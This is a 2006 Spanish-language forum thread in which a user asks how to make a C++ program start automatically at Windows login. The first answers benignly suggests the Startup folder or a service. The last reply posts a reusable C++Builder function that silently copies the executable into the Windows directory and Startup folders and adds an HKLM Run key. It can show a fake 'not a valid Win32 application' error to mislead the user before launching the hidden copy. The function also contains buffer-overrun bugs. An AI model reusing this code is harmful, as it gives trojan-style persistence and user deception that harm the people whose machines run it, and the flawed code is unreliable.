C/Visual C - programa automatico

 
Vista:

programa automatico

Publicado por Tino (7 intervenciones) el 22/09/2006 05:31:42
Mi duda es la siguiente:

Como puedo crear un programa en C++ que se ejecute solo, o sea que al iniciar la seccion automaticamente se ejecute el mismo, esto en una maquina con SO Windows.

De antemano gracias.
Valora esta pregunta
Me gusta: Está pregunta es útil y esta claraNo me gusta: Está pregunta no esta clara o no es útil
0
Responder

RE:programa automatico

Publicado por fernando.gomez (1603 intervenciones) el 22/09/2006 18:34:41
Hola. Supongo que te refieres a la ejecución de un programa al iniciar una _sesión_ de Windows.

La forma más sencilla es que pongas el programa (o un acceso directo) en la carpeta "Inicio", que generalmente tiene la ruta:

C:\Documents and Settings\usuario_actual\Menú Inicio\Programas\Inicio

Otra forma sería que te crearas un Windows Service que se ejecutara al inicio de forma automática, y que éste lo único que debe hacer es iniciar tu programa.

Estos son algunos enlaces de cómo crear y emplear servicios. En particular, podrías emplear el código de XYNTService ya de forma directa.

http://www.codeproject.com/system/serviceskeleton.asp
http://www.codeproject.com/system/xservice.asp
http://www.codeproject.com/system/xyntservice.asp

Saludos.
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:programa automatico

Publicado por Tino (7 intervenciones) el 22/09/2006 18:59:03
Muchas gracias...............
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar

RE:programa automatico

Publicado por h0aX (9 intervenciones) el 27/09/2006 16:21:11
aqui te pongo una funcion que uso a menudo para la instalacion y posterior autoejecucion
de un programa. La funcion no esta perfeccionada y es muy probable que le encuentres cosas que no te gusten y prefieras eliminar o simplemenete que concideres inapropiadas, esto se debe principalmente a mi vagancia ya que cuando escrbi la funcion no disponia de mucha experiencia e incluso se ha visto sujeta a migracion de lenguajes.Pero una de las razones que han motivado mi vagancia a no modificarla es que la he usado mucho asi como esta y hasta ahora nunca ha tenido problema.Espero que sea algo como esto lo que estes buscando

void Instalate(String Nombre,bool ErrorMsg)
{
unsigned long MaxL = 50;
char WinDir[14], cNombreUsuario[50];
BOOL instalado = false;
String NombreUsuario;
GetWindowsDirectoryA(WinDir,14);
GetUserNameA(cNombreUsuario,&MaxL);
NombreUsuario = cNombreUsuario;
String WD = WinDir;

if (FileExists(WD+"\\"+Nombre+".exe"))
{ instalado = true; }
if (FileExists("C:\\Documents and Settings\\"+NombreUsuario+"\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe"))
{ instalado = true; }

if ( instalado == false )
{
TMemoryStream *Exe;
TRegistry *Reg;

Exe = new TMemoryStream;
Exe->LoadFromFile(Application->ExeName);
try
{
Exe->SaveToFile(WD+"\\"+Nombre+".exe");
} catch(...)
{
try
{
Exe->SaveToFile("C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
}
catch (...)
{
try
{
Copiar(Application->ExeName,"C:\\Documents and Settings\\"+NombreUsuario+"\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
} catch (...) {}

}
}

Reg = new TRegistry;
Reg->RootKey = HKEY_LOCAL_MACHINE;
Reg->OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",false);
try
{
Reg->WriteString(Nombre,WD+"\\"+Nombre+".exe");
} catch(...)
{
try
{
Exe->SaveToFile("C:\\Documents and Settings\\All Users\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
}
catch (...)
{
try
{
Copiar(Application->ExeName,"C:\\Documents and Settings\\"+NombreUsuario+"\\Menú Inicio\\Programas\\Inicio\\"+Nombre+".exe");
} catch (...) {}

}
}

delete Exe;
String sTemp = WD+"\\"+Nombre+".exe";
char *Path;
Path = new char[sTemp.Length()];

for (int i=0; i<=sTemp.Length(); i++)
{
Path[i] = 0;
}

for (int i=0; i<sTemp.Length(); i++)
{
Path[i] = sTemp[i+1];
}
String sMens;
char cMens[255];

sMens = Application->ExeName+" no es una aplicación Win32 válida.";
StrToCh(sMens,cMens);

if (ErrorMsg) {
MessageBoxA(NULL,cMens,"Error",MB_ICONSTOP);
}

WinExec(Path,SW_NORMAL);
delete[] Path;
delete Reg;
Application->Terminate();
}
}
Valora esta respuesta
Me gusta: Está respuesta es útil y esta claraNo me gusta: Está respuesta no esta clara o no es útil
0
Comentar